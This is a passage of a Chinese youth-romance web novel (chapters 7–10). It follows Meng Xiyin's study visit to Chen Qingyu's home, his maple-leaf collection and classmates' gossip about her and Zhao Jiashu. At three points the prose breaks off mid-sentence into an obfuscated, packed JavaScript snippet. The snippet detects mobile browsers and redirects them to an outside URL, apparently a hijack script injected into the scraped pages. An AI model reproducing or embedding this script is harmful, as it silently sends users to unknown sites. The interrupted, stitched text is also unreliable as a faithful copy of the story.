孟惜荫穿上他递来的拖鞋,用拘谨的目光打量这间小屋里的陈设。 不到四十平米的房间,一张破了皮的沙发几乎占满整个客厅,黄色的海绵从破洞处露出来,上面的污渍是腐烂的红褐色。 一个中年男人躺在上面,头发乱糟糟,衬衫领口敞着,一只手垂在地上,旁边是几只喝空了的酒瓶。 “不用管他。” 陈青屿似乎已经见怪不怪,踢开地上挡路的酒瓶,没多看男人一眼。 孟惜荫努力屏住呼吸,不被刺鼻的酒味呛到。她小心地避开地上的酒瓶,跟在陈青屿身后,来到他的卧室。 房门关上,空气陡然清新。 他的卧室很小,除了一张床、一套简易的桌椅和一只立式衣架,再无其他家具。此刻两个人站在门口,空间已经略显局促,陈青屿把她的书包放在床上,让她等一下,说他很快回来。 狭小的房间里只剩下孟惜荫自己。她像一只误闯别人领地的小鹿,怀着忐忑不安又好奇的心情,观察着这间卧室里每一个细微的角落。 墙上只开了一扇小窗,此刻正大开着,窗外浓绿树枝半伸进来,擦过雪白的墙壁。 一盏掉了漆的老式台灯摆在桌角,风一吹都摇摇晃晃。 试卷和习题册整整齐齐地贴墙摆着,和床上的被子一样方方正正。 衣架上挂着几件衣服,散发着好闻的香皂气味。 这房间里,到处都是陈青屿的痕迹。 孟惜荫弯了弯唇,忽而身后门锁响动,她急忙敛了脸上表情,装作若无其事的样子。 陈青屿拿着创可贴进来,见她还站在原地一步未动,轻轻皱眉:“怎么不坐?” “我……” 孟惜荫支支吾吾地,不知道该如何回答,不是她不想坐,而是不知道该坐哪里。房间里只有一把椅子,如果她坐了,那陈青屿坐哪里?坐床上的话,好像又不太礼貌…… 陈青屿不知道她心里在想什么,只瞥见她绞手指的小动作,他默了默,又扫了一眼前面那张空落落的椅子。 停顿片刻,陈青屿从她身旁狭窄缝隙穿过去,从衣架上取下一件白色短袖,搭在胳膊上折了几折,再垫在椅子上。 他拉开椅子,转头看着孟惜荫的眼睛:“这样就不脏了。” 8. Chapter 7 孟惜荫怔住,半晌才反应过来,陈青屿误会了,她并不是因为嫌弃他坐过的那张椅子才一直站着的。 她张了张嘴,想要解释,陈青屿已经从外头拖进来一把塑料椅子,面色如常地坐下,从书包里抽出课本。 孟惜荫只好跟着坐了下来,身下棉质的布料隔绝了凉意,她却有种如坐针毡的不自在感。 下周三就要三模了。 高考前的最后一次大型模考,重要性可想而知,班里许多同学的家长已经开始联系辅导报志愿的机构,想根据三次模考的成绩大致确定志愿方向。 笔尖在一行行黑字上划过,陈青屿耐心地把重点捋出来,哪里是高频考点、哪里出题人容易挖坑,比课堂上老师讲的还要仔细。 阳光透过玻璃落进来,在墙上压下树的影子。 他浓而密的睫毛也落下小小的影,只有孟惜荫能看见。 心念忽而一动,在陈青屿话音停顿的间隙,她小心翼翼地问了他一个问题。 “那个……你有想好报哪所大学吗?” 似是没料想到她会突然问这个问题,陈青屿沉默了很久,才低声报出了一所大学的名字。 那是帝都的一所知名高校,是孟惜荫想都不敢想的地方。 心情恹恹低落下去,她耷拉着脑袋想,以她的成绩,根本不可能和陈青屿上同一所大学的。 “你呢?”是陈青屿在问她。 孟惜荫垂头丧气地说:“我妈想让我去读北城美术学院,但我不太想去。” 说完这话,她突然生出一个从来没有过的念头,她不能和陈青屿读同一所大学,但是她可以考帝都的艺术学校,这样就能和他在同一个城市,就能和他继续做朋友。 空气静谧,只有树叶沙沙作响。 孟惜荫鼓起勇气,在小鹿乱撞的心跳声中,很小声地说:“我想考帝都的艺术学校。” 陈青屿没有说话。 她小心翼翼地抬起眼睛,去探究他脸上神情,他的视线在她看过来的瞬间不自在地移开,看向台灯外壁上一小块剥落的漆。 顿了顿,陈青屿终于抿了下唇,说:“加油。” 加油。 简简单单的两个字,像一颗小石子儿,在孟惜荫心底漾开一圈圈涟漪。 他对她说加油。 他也希望她能来帝都,是不是? 孟惜荫笑了起来,脸颊上鼓起清浅酒窝,陈青屿恰在此时转头,在她眼眸弯弯的笑意中怔愣了片刻,然后竟然破天荒地动了动唇角,露出一个不那么生动的微笑。 夏日的风闷热潮湿,似乎有某种饱胀的情绪在鼓动着。 他们相视而笑,像是达成了某种心照不宣的秘密约定,没有说出口,但彼此都心知肚明。 * “你渴不渴?我去倒杯水。”学习了一个小时之后,陈青屿站起身。 孟惜荫合上课本,抿了抿有些发干的唇,“是有一点儿。” “等我一下。” 陈青屿推门出去,轻轻关上门。 学了这么久,要是换作平时,孟惜荫早就累的想睡觉了,可不知道是不是因为有了目标的原因,此刻的她格外精神抖擞。趁着陈青屿出去的间隙,她甚至打算把他的数学笔记再理一遍,待会复盘错题的时候也好理顺思路。 厚厚的笔记本摊在桌角,密密麻麻铺陈开潇洒字迹。 她随手翻过两页,忽然瞥见那摞记满笔记的白色方格本下面,压着一本格格不入的灰色册子。 是笔记吗? 还是日记? 孟惜荫的手犹豫地停在半空。 里面会是什么呢? 那个灰色笔记本就摆在那里,像潘多拉的魔盒诱惑着她,她像一个矛盾的小偷,一面告诉自己不能乱动别人的东西,一面又按捺不住心底的欲望,渴望窥探魔盒里陈青屿的秘密。 就看一眼。 看一眼,就放回去。 孟惜荫这样说服着自己,终于挣扎着伸出手,把那本灰色册子从最底下抽了出来。 出乎她意料的,本子里面既不是写满单调公式的笔记,也不是什么不见天光的黯然心事。 一页页空白纸中间,夹着各种大小的枫叶,大部分都已经干枯,成了永恒的标本。而这些被他收集起来的叶子,无一例外地都有残缺,有的缺了一角,有的中间破了洞,每一片都是不完美的,每一片都是不一样的。 为什么要收集这么多枫叶呢? 孟惜荫不理解。 她正打算合上册子放回原处,陈青屿忽然推门进来。她翻看册子太过投入,此时被突如其来的响动吓了一跳,颤巍巍松了手,几片枯叶从纸页缝隙里滑出来,轻飘飘地落在地上。 “对不起,我……” 孟惜荫着急地想解释,可转念一想本来就是她自己理亏,一瞬间又蔫了下去,低下头等着对方的责骂。 陈青屿弯下腰,把地上的枫叶标本捡起来,重新夹回本子里。 “没什么。” 听他这样说,孟惜荫才松了口气,只是心里仍有种难以祛除的负罪感。 临近中午,阳光灼眼,陈青屿背光站着,盯着册子里一片片曾被他精心呵护的枫叶,忽而扯了扯嘴角,自嘲一笑。 “又不是什么值得纪念的东西,扔了吧。” 九岁那年,母亲带他去他最喜欢的公园,深秋清冷,枫叶满树,母亲就那样拿信口胡诌的话来哄骗年幼懵懂的他。 “青屿,妈妈要去很远的地方,办很重要的事情。你有空的时候就来这里捡一片枫叶,等你攒够一千片不一样的枫叶,妈妈就会回来,记住了吗?” 他真的傻傻地听了母亲的话,每到秋天,枫叶红透的季节,他都会跑到公园去捡枫叶,一片一片地挑选,认真遵守母亲制定的游戏规则。 后来他长大了,知道了那不过是母亲胡诌来骗他的谎话,她只是把他丢下了,把他和他那个酗酒成性的继父丢在一起,而她呢,再也不会回来了。 陈青屿用力捏着那本厚厚的册子,里面已经攒了一百三十六片枫叶,可这些曾被他当作希望守护的东西,到头来不过是一场赤裸裸的抛弃和欺骗。 他手腕一扬,想把它扔进垃圾桶,却被孟惜荫拦住。 “干嘛要扔掉呀?”她眼睛里泛着心疼,从他手上把册子救下,“这么多漂亮的枫叶标本,扔了多可惜呀。” 她随意从里面抽出一片叶子,透过叶柄一侧的孔洞,去看窗外明晃晃的阳光。 “你看,它们每一片都不一样,每一片都是独一无二的。” 陈青屿怔住。 他凝视着孟惜荫的背影,她正拿起另一片叶子,俏皮地挡住眼睛,忽而她转过头来,在万顷天光中对他绽开笑意:“这些都是你收集的吗?好有艺术感啊,我就没有这么好的创意。要不你跟我一起搞艺术算啦。” 半开玩笑的语气,大概是想缓和几分气氛。 孟惜荫眼睛快速眨动几下,是在他面前少有的俏皮,见他仍冷着脸一副心情不大好的样子,她又自动自觉敛了笑意,换成平时的乖巧礼貌模样。 她好像天生不适合哄人开心。 孟惜荫闷闷地想。 又或是,她再一次错误地估量了她和陈青屿之间的关系。 她以为,有了那个隐秘的约定之后,他们的关系应该已经更进一步,可以开一些朋友之间调侃的玩笑。 但事实好像并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793249|158223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是她想的那样。 那天上午,原本愉快的学习活动因为这出插曲,最后只落得一个平淡的收尾。 陈青屿送她到巷子口,彼时路边几家商铺已经开门营业,几家老板坐在台阶下叼着烟闲聊,见他带人出来,纷纷投来打量的目光。 巷子窄小,里头住的人不多,来来往往就那么几张脸孔,一来二去就记住了。 孟惜荫穿一件小熊图案的长袖衫,浅蓝色牛仔裤,脚上一双白色帆布鞋,活脱脱一副乖乖女学生模样,一看就不是这巷子里的人。 小卖部的老板娘吸着根细烟倚在门口,扬高声音说起玩笑话:“小姑娘,抽不抽烟?” 孟惜荫吓得一激灵,陈青屿低声说:“不用理她。” 她稍稍舒了口气,只是心还一直悬着,直到走出荷花巷口,她才觉得自己终于离开了狼窝,来到了安全地界。 那巷子里,除了陈青屿,都不像正常人。 孟惜荫默默地想。 可是在分别的时候,看着陈青屿转头离开的背影,她又短暂地忘记了刚才的恐慌和害怕,微弱的声音四散在风里:“陈青屿,下周六我还能来你家复习吗?” * 对孟惜荫而言,那天是意义非凡的一天。 在那间不过几平米的小房间里,和陈青屿度过的两小时让她有种不真实的眩晕感,走在沥青马路上,她第一次觉得盛夏的太阳如此漂亮,雨后的清风怡人,空气中四处弥漫着清新的树叶香气,原本在她眼中平凡而乏味的一切,此刻骤然生动。 她太过快乐,以至于差点忘记了,她还没想好用什么理由在陶玉茹面前掩饰她没去补习班的事。 手表上时针将将跨过十一。 而她的补习班,要到十一点半才下课。 孟惜荫沿着小区里的石砖路漫无目的地游荡,心里盘算着,要不要先去外面找家书店待一会儿。 偏偏这时候,一辆自行车风一样从她身边掠过,已经骑出去十几步远,又猛地一下刹住车。 “荫荫?”赵嘉树从车座上诧异转头,“补习班这么早就下课了?我正准备去接你呢,早上陶阿姨跟我说她今天有事不在家,让你下午来我家学习。” 他一条长腿撑在地上,低头去看腕上手表,再次确认时间:“才十一点啊。” 孟惜荫脸上一窘,有一种秘密被撞破的尴尬。 赵嘉树似乎察觉到了什么,把自行车停在一边,走到她面前,把她整个人从头到脚打量一遍,最后得出一个连他自己都难以相信的结论:“荫荫,你不会没去上补习班吧?” 他太了解孟惜荫,只需看她的一个眼神、一点睫毛细微的颤抖、亦或是手指习惯性的小动作,就能知道她心里在想什么。 此刻她脸上的表情,显然是做了什么亏心事,但赵嘉树实在难以相信,一直都乖乖听话的孟惜荫竟然敢逃掉补习班。 直到孟惜荫低着头“嗯”了一声。 他感觉胸口瞬间涌上一股闷气,声音从喉咙里抖出来:“那你去哪儿了?” 孟惜荫抿着唇,没有回答,她低垂的眼睫簌簌眨动,像细小的沙砾落在赵嘉树的心里,泛起异样的感觉。 他酸涩地意识到,这一刻,有某种东西在他们之间发生了变化—— 孟惜荫有了自己的秘密。 不能告诉他的秘密。 他莫名生出一种被背叛的感觉,像是一直以来只对他打开的一扇窗突然关上,阳光和暴雨都被隔绝在外,他再也不能窥见窗内景色,好的坏的,都和他再无任何关联。 然下一刻,那扇关紧的窗又悄悄敞开了一点缝隙。 因为他听见孟惜荫说:“嘉树哥,你能不能帮我一个忙?” 9. Chapter 8 “我现在的成绩,就算上补习班也提升不了太多分数了。而且我和周濛之前约好了的,下周六还要去她家里复习,我妈那边……你能不能帮我想办法瞒一下?” 孟惜荫是这么对赵嘉树说的。 而他呢,他能说什么呢。 从小到大,对于孟惜荫提出的要求,赵嘉树从来都只有一个字。 “好。” 哪怕他清楚地看见了孟惜荫眼神里的闪烁不安,他知道她在撒谎,她在骗他。 徒劳地沉默几秒,赵嘉树还是答应了,他心里有一点阴暗卑劣的念头在作祟,既然不能窥见她的秘密,那成为她的帮凶,好像也不算是件坏事。 至少,这是另一种意义上的、他和孟惜荫之间的秘密。 他对陶玉茹说学校下周六要组织小测验,他会像平时一样和孟惜荫一起去学校,陶玉茹没有半分怀疑,只叮嘱他周六恐怕要下雨,骑车注意安全。 赵嘉树第一次觉得,他在学习上的长处在撒谎这件事上竟然也能发挥的如此完美。 红漆木的书桌角落,那张月考成绩单被贴在一旁的墙上,边角晃晃荡荡。 他斜撑着下巴,盯着成绩单上写着他名字的那一栏,以及后面并不光彩的分数,脑子里那个问题仍然徘徊不去。 孟惜荫的秘密会是什么呢? * 周一早自习,教室里安静得只有风扇转动的声音。 上周刚公布月考成绩,眼下班里同学一个个都学习热情高涨,就连班里排名末尾的几个男生都不再闲聊,有模有样地做起了卷子,甚至还把成绩单贴在桌面上,想以此激励自己在高考前最后临阵磨枪一把。 孟惜荫把周末整理过的笔记又翻看一遍,正准备拿出错题本,就听见教室后门传来一阵不小的动静。 她回头,惊诧地发现赵嘉树背着书包站在门口。 老张正指挥两个男生把角落里的垃圾桶和扫把拖布挪走:“把这些都搬到讲台旁边去,再把这里扫一下。” 赵嘉树笑:“张老师,不用这么麻烦的。” 老张立马换上一副慈爱表情,语气热络极了:“那怎么行?一次没考好代表不了你的实力,咱们学校今年能不能出状元可就看你了。你这次分到我们六班,别的不说,肯定要给你提供最好的学习环境——” 他大手一挥,让那两个男生挪了一套单独的桌椅过来,“你就坐这儿,保证其他学生不会打扰到你。” 孟惜荫茫然地眨了眨眼,一时间难以消化。 赵嘉树分到了六班? 在她的印象里,赵嘉树就算脑子烧糊涂了去考场,也绝不会沦落到和她分到一个班级的地步。 孟惜荫正发着愣,赵嘉树已经在老张给他安排的座位上坐了下来,一边从书包里拿出课本,一边朝她挤挤眼睛。 孟惜荫用力掐了一把自己的胳膊,以此确认眼前的赵嘉树不是幻觉。 而班里同学已经悄悄议论起来。 “赵嘉树这次考了多少名啊?” “都分到我们班来了,怎么着也得一百名上下吧?” “他不是从来没出过年级前三吗?是不是卷子批错了啊。” 因为赵嘉树的到来,一整节早自习教室里都没有安静过。 下课铃一响,原本还有意克制的窃窃私语陡然变成了大音量的讨论,陈青屿懒倦地睁开眼睛,揉了下发酸的手肘。 有人站在他身旁的过道上,正在和孟惜荫说话。 “不是吧嘉树哥,你上次月考真的考的这么差?” “哎呀,谁都有马失前蹄的时候嘛。” “祁阿姨没说你?” “当然说了,不过我跟我妈保证,这次三模一定不会失误,她就没再说我了。怎么,你不相信我呀?” 陈青屿抬起眼睛,只是视线被赵嘉树的背影挡住,他看不见孟惜荫的脸。 她的声音隔着赵嘉树传过来,带着一种无需刻意的熟稔和亲密,是和他说话时从来不曾有过的声调。 不知道说到了什么,她忽然笑起来,声音软软的,像小猫的爪子挠在心尖,而赵嘉树就在她的笑声里弯下腰去,用笔杆轻轻敲一敲她的脑袋。 陈青屿抿了抿唇,用校服外套蒙住脑袋,闭上眼睛假寐。 * 赵嘉树的到来,让孟惜荫感觉到她的生活发生了一点儿微妙的变化。 哪里变了呢? 说不上来。一切似乎都在井然有序地进行着,只是有些东西在悄无声息地改变。 比如晚自习下课铃响的时候。 她习惯性地想等陈青屿一起走出教室,但赵嘉树已经先一步跑过来,一边帮她拎书包,一边眨着笑眼问她待会想吃什么夜宵。 比如被某道难题困住的时候。 她苦恼地皱起眉,下意识地想求助陈青屿,一声“哎”还没叫出口,赵嘉树就及时雨一般把写好解题思路的试卷放在了她的桌上。 变化最明显的要数吃饭时间。 她和周濛的二人吃饭小分队现在加了一个赵嘉树,一下子热闹不少,短短的二十几分钟,周濛的嘴简直能说出火星子来,恨不得把自己十几年来学的天文地理统统都给赵嘉树念叨一遍。 赵嘉树微笑听着,只在周濛偶尔话音停顿的间隙抬起眼睛,看向孟惜荫:“渴不渴?” “渴!”周濛快她一步抢答,顺带做了一个夸张的表情,“我都快渴死啦,惜荫你渴吗?” “我还好。”孟惜荫正在吃一块辣子鸡丁,被满盘的红辣椒呛得直咳嗽。 赵嘉树起身拍了拍她的背:“我去买水。” 赵嘉树一走,周濛仿佛舞台剧散场后的演员,一下子卸掉浑身力气,软歪歪地瘫在椅子上,一面用手扇着风,一面满脸期待地问孟惜荫:“哎,我刚才表现怎么样?” 孟惜荫忍着笑:“挺好。” 她抬手去拿纸巾,无意间瞥见右边角落里一张熟悉脸孔。 是陈青屿。 她很少在食堂碰见陈青屿,偶然看见,他都是独自一人坐在极不起眼的位置,一个人吃饭、一个人回教室,好像踽踽而行是他的天性。 孟惜荫盯着他默默看了一会儿,正要移开视线时,一个女生端着餐盘坐在了陈青屿的对面。 她捏筷子的手陡然僵住。 他们相隔太远,过道上来来往往的学生阻隔了视线,孟惜荫看不见那个女生脸上神情,只依稀看得出她正语速飞快地说着什么。 是陈青屿的朋友吗? 怎么没听他说起过呢。 孟惜荫攥着筷子,恹恹垂下眼睛,忽而萌生一种念头,她和陈青屿的关系,似乎并没有她所想的那样亲密。 她并不了解陈青屿。 她去过一次他的家里,知道他住荷花巷,有一个酗酒的父亲。 除此之外还有什么呢? 没有了。 和陈青屿在一起的大部分时间里,都是她在说话,而他只是安静地听着,偶尔应和几句,从来不会主动谈及有关自己的任何事情,就好像他的人生是一页白纸,没有任何拿来与人谈论的必要。 孟惜荫倏尔有些失落。 那个和陈青屿在一起的上午,她因为给自己定下了去帝都的目标而燃起的雀跃心情,此刻如一盏被冷风吹熄的灯烛,寂寂熄灭。 再抬眼,那女生已经端着餐盘起身,陈青屿仍坐在原处,笔直脊背抵着身后橙黄的餐凳,低头去看腕上手表。 一瓶蒙着冷汽的汽水撂在面前,挡住了孟惜荫的视线。 她回神,视线里是赵嘉树漂亮的桃花眼,他顺手帮她拧开瓶盖,气泡咕嘟嘟地涌上瓶口。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793250|158223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “看什么呢?” “没什么。” 她掩去眼底的低落情绪,拿起汽水瓶喝了一口,甜意漫过舌尖,是她最喜欢的橙子味。 * 食堂里的小插曲在孟惜荫心里掀起的短暂波澜,很快就被一张张发下来的试卷淹没。 高考的日子一天天逼近,压力与日俱增。孟惜荫恨不得生出三头六臂来,以消化桌子上堆积如山的试卷和笔记。 但赵嘉树却和她相反,到了这个时候,反而越来越放松。 陈青屿仍旧在自习课上睡觉。 三个人的座位连成线,组成一个稳固的直角三角形,可好像只有孟惜荫的那一头在拼命努力,却永远无法越过另外两头。 有几节晚自习的课间,赵嘉树被校长叫去了办公室,听说是去谈自主招生的事情。 孟惜荫从洗手间出来,好巧不巧,听见男厕所门口两个男生正在议论赵嘉树。 “哎,你听说了没?今年A大好像缩减了自主招生名额,看校长那个意思,是要把唯一的名额给赵嘉树了。“ “凭什么啊?他上次考试不是栽的厉害么。再怎么说也要考核一下吧?”孙浩甩着手上的水珠,一脸不忿。 “你懂什么?”吴越琛在旁边嗤了一声,“人家哪是栽了啊,长点脑子都看得出来他是故意的啊。” “故意的?”孙浩一脸不解,“他干嘛故意考差啊?” 吴越琛耸耸肩:“为了泡妹子呗。你跟他那么熟还不知道?六班那个孟惜荫,和他住一个小区的,赵嘉树对她有意思你看不出来?” 孟惜荫刚要迈出去的脚,在听见这句话的瞬间倏然僵住。 嘉树哥……喜欢她? 怎么可能呢。 再说了,他是最看重学习成绩的人,哪怕是零点几的分数都不愿轻易错失,怎么可能为了和她分到同一个班这种荒谬的原因而故意考差呢? 孟惜荫越想越觉得离谱。 而那两人还在一边嘀咕着一边往外走,全然没注意他们谈话的女主人公就站在不远处,一个不留神,生生撞上她的肩膀。 “嘶——” 孟惜荫皱眉,伸手按住肩膀被撞的地方。 孙浩看见孟惜荫,一点儿都不觉得尴尬,反而还嘻嘻笑着,开起她的玩笑来:“哟,这不是赵嫂吗?” “别乱说话!”孟惜荫瞪了他一眼。 “怎么,叫你赵嫂还不乐意啦?要我说,赵嘉树就是学习学的脑子坏掉了,真不知道他喜欢你什么啊?一个小三跟男人偷情生出来的女儿,跟一班那个白富美班花哪里有得比啊……” 孟惜荫气的扬高声音:“你……你嘴巴干净点!” 她极少冲人发脾气,此时就算恶狠狠地瞪着他们,在对方看来也只觉得可笑,反而助长了他们的气焰:“怎么,我说错了?” 分明是因为嫉妒赵嘉树成绩好,所以把这份气没由来地发在她身上罢了,孟惜荫心里明白,嘴上急着和他们讲道理,可越是着急越是挤不出话来,只生生憋红了眼眶。 吴越琛见她不说话,也嚣张起来,直接指着孟惜荫的脸笑:“怎么哑巴啦?刚才不是还一副义愤填膺的样子吗?” “你……” 孟惜荫涨红了脸想要辩解,在她笨拙地张口又哽住的间隙,一道熟悉身影经过,恰恰拦在她和那两个男生中间。 见了陈青屿,孙浩和吴越琛原本的嚣张神情骤然收敛,瞬间变成了充满敌意的警惕。 “吵死了。” 陈青屿斜睨他们一眼,慢悠悠从他们面前经过,不知有心还是无意,他肩膀撞到了孙浩,直把人撞得龇牙咧嘴,一个趔趄差点摔在地上。 孙浩捂着肩膀青紫处,咬着牙瞪向陈青屿。 而他已经走进洗手间,把水龙头开到最大。 10. Chapter 9 “别理他,这人是个疯子。” 吴越琛见状,急忙拉了孙浩一把,两个人咬牙切齿,像是和陈青屿有什么深仇大恨,一边嘀咕着一边走远了。 洗手间里,水龙头重又拧紧,只有很轻很轻的滴水声在走廊里回荡。 陈青屿擦干了手走出来,孟惜荫还站在那儿,眼眶红红的,嘴唇抿成一道颤抖的线。 他的心似乎被一根悬着的线牵着,也细微地颤了颤。 “你还好吗?” 陈青屿出声询问,却在走到她面前的时候才发觉她眼睑下一点洇开的泪珠,歪歪扭扭的痕渍,湿漉漉地延到唇边。 察觉到对方打量的目光,孟惜荫有些慌张地用手背擦了擦眼睛,“我没事。” 似乎是天生泪失禁体质,每每跟人吵架或是理论的时候,她总会说着说着就掉下泪来,明明她并不想哭,对方的攻击也根本不会击溃她的心理防线。 比刚才那些话难听许多倍的,她已经听过很多遍了。 来北城这些年,她早已习惯了流言蜚语和讥讽谩骂,只是还是忍不住会生气难过,而一旦牵起情绪波动,眼泪就会不受控制。 一包纸巾递到孟惜荫眼前,随之一起出现在视线里的,还有一双骨节分明的手。 “给。” 陈青屿的声线是一贯的淡漠,此刻在嘈杂走廊里,却另有一种宽慰人心的力量,孟惜荫敛了敛情绪,接过他递来的纸巾,小声说:“谢谢。” 她不知道陈青屿有没有听到刚才孙浩说的那些话。他什么都没问,只是沉默地看着她擦干净脸上泪痕,然后和她一起回到教室。 仿佛什么都没有发生,一切都随着时针的摆动而归到原位。 在指针转动的哒哒声里,一张折起来的字条悄无声息放在孟惜荫桌角。她愣了愣,视线朝旁边瞥去,陈青屿已经迅速收回了手。 方格底的便签纸上是他熟悉字迹。 “疼吗?” 男生力气大,即便只是不小心撞到,应该也是很痛的。 更何况她看起来那样弱小。像一朵,风一吹就会碎掉的玻璃花。 那一瞬,眼眶被某种酸而胀的东西占满,孟惜荫攥紧手心字条,许多复杂情绪撞在一起,乱糟糟的。 陈青屿看见了。 包括那些让她难堪的言论,他也全部听到了。 孟惜荫从来都不在意别人明里暗里的议论和闲话,她生长的环境早早地就教会了她如何把难听的话当作耳边风。 高二那年,陶玉茹费尽心力,托关系把她送进这座北城最好的高中,从她跟在陶玉茹身后在一重重目光中走出校长室的时候,她就已预见到她的高中生活会是什么样子。 靠攀关系硬塞进来的关系户。 她妈妈是靠给有钱人当小三才那么有钱的。 她爸爸应该也不是什么好东西。 孟惜荫听惯了这些话,也习惯了被孤立、被冷落、被嘲笑讥讽,可是此刻她忽然在想,陈青屿是如何看她的。 他会不会也和其他人一样看不起她,冷眼旁观又暗里讥讽? 只是他从来没有开口说而已。 那一刻孟惜荫发现,她开始在意陈青屿对她的看法。 很在意很在意。 * 晚自习结束的时候,赵嘉树才回到教室。 孟惜荫已经收拾好书包,起身时下意识看一眼旁边座位,陈青屿仍在趴着睡觉。 他最近好像很累。 “荫荫,等我一下!”赵嘉树一边飞快地把桌上书本扫进书包里,一边去捞挂在椅子上的校服外套。 孟惜荫踌躇地站在原地。 教室里人流散尽,只余风扇不知疲倦地转动。 后天就是周六了。 她很想问一问陈青屿,上周他们的约定还作不作数。 可是赵嘉树已经站在门口朝她招手:“走吧走吧,今天烤冷面的阿姨出摊,我请你。” 孟惜荫只好把话语咽回肚子里,垂下眼睛从陈青屿身边走过。 夏夜的风闷热,吹在脸上像黏糊糊的棉花糖。 走在路上,孟惜荫的沉默太过反常,原本还在吐槽今年自主招生流程有多繁琐的赵嘉树,声调因她脸上过分明显的郁郁寡欢而渐渐放轻。 “怎么了?遇到不开心的事了吗?”他轻声问。 孟惜荫放慢脚步,耳边恍惚又浮现出孙浩在走廊里说的话。明知那些话一定不是真的,她还是忍不住问赵嘉树:“嘉树哥,我今天听见有人说……上次月考你是故意考差的。” “谁说的?”赵嘉树睫毛僵了僵,一瞬又恢复自然,半调侃道,“怎么可能呀,考差有什么好处?因为这事我可是被我爹妈联合起来说了一个多小时呢。” “他们说你是为了和我分到一个班,所以故意考差的。”孟惜荫看着他的眼睛,很严肃地补充,“他们说你喜欢我。” 那一瞬,全身血液上涌,如海潮般将他整个人淹没在一股炽热的浪潮中,他的手指在孟惜荫看不见的地方悄然攥紧,又一根根无措地伸开。 少年隐秘的心事毫无征兆地被戳破,他感觉自己像一只被剥去外壳的牡蛎,在毫无遮挡的阳光下被烤的浑身滚烫。 然一抬眼,对上孟惜荫看向他的清澈瞳孔,赵嘉树恍然意识到,她潜意识里并不希望这是真的。 那股热浪骤然褪去,只剩他淹在咸涩的海水中,品尝到过分苦涩的滋味。 赵嘉树扯动唇角,努力露出一个与平时无异的笑脸,装作满不在乎的语气:“他们瞎说的。” 他不敢赌上这一刻突兀的机会,把小心翼翼藏起来的心思毫无准备地剖开在孟惜荫眼前,他承认他是怯弱的懦夫,他害怕,害怕得不到也害怕失去。 孟惜荫松了口气,如释重负般。 而赵嘉树的心,在她轻飘飘的一声舒气中一下子攥到最紧。 她脸上表情,仿佛卸下了压在胸口的一块石头,而后柳暗花明,她也终于跟着露出笑来:“我就说嘛,肯定是他们乱说的。” 嘉树哥怎么会喜欢她呢。 他们是最好的朋友呀。 操场旁,路灯落下昏黄薄光,蚊虫密密驱向生了锈的破旧灯罩。 赵嘉树用手掌驱散扑向她面颊的蚊子,用他最擅长的方式转了话题,声音闷进燥热的晚风里。 “小份烤冷面多辣加一份火腿不要葱花香菜,还要别的吗?你在门口等我,我去买。” * 学习是枯燥而乏味的一件事,尤其对于临近高考的高三学生来说。 所以当老张在早自习上宣布,学校决定批给全体高三学生一节体育课来放松时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793251|158223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,班上立刻响起一阵雀跃的欢呼声。 “几百年没上体育课了,我这胳膊腿都快生锈了。”大课间一结束,周濛就兴冲冲地拉着孟惜荫往体育馆走,“我们去打羽毛球好不好?那边还有空的场地,快点快点。” 不由孟惜荫拒绝,周濛已经拉着她跑到了另一头的羽毛球场,那里有几个男生占据了其中一块场地,正在做拉伸。 周濛指着其中一个穿灰色T恤的健硕男生,做贼一般靠在她耳边问:“哎,那个男生你认不认识?三班的苗松,怎么样,长的挺帅的吧?” 孟惜荫疑惑地看着她,不明白这又是在搞哪一出。 “你这是什么眼神?”周濛白了孟惜荫一眼,对她的迟钝很是无语,偏偏这时候苗松拿着羽毛球拍转过头,有意无意往这边看过来,周濛脸上表情立刻来了个一百八十度大转弯。 “苗~松~你也来打羽毛球啊~” 纵是孟惜荫再迟钝,这会儿也看出来几分不对,她像看陌生人一样看着眼前秒变淑女的周濛,忍不住问:“你不是喜欢嘉树哥吗?” “赵嘉树太难追啦,而且我看他对我根本没那个意思,再追下去也是白费力气,还不如换个对象呢。” 周濛晃着手臂跟走过来的苗松打招呼,嘴里还在跟孟惜荫说话,“你不觉得我和苗松挺般配的吗?白羊配狮子,天生一对啊。” 眼看着苗松就要走到面前,她急忙理理校服,又摸摸头发:“惜荫你快帮我看看,我头发乱了吗?” “好着呢。” 苗松走过来和周濛说话,然后又去旁边拿了两副球拍递给她们,孟惜荫看在眼里,忽然后知后觉反应过来,怪不得周濛一进体育馆就直奔羽毛球场,合着是早有预谋啊! 她有点无语,却又拒绝不了周濛的热情,只得接过苗松递来的羽毛球拍,然后悄悄把周濛拉到一边:“你们先打,我得去下厕所。” 大概是因为昨晚吃的烤冷面太辣了,今早起来孟惜荫的肠胃就一直不太舒服。 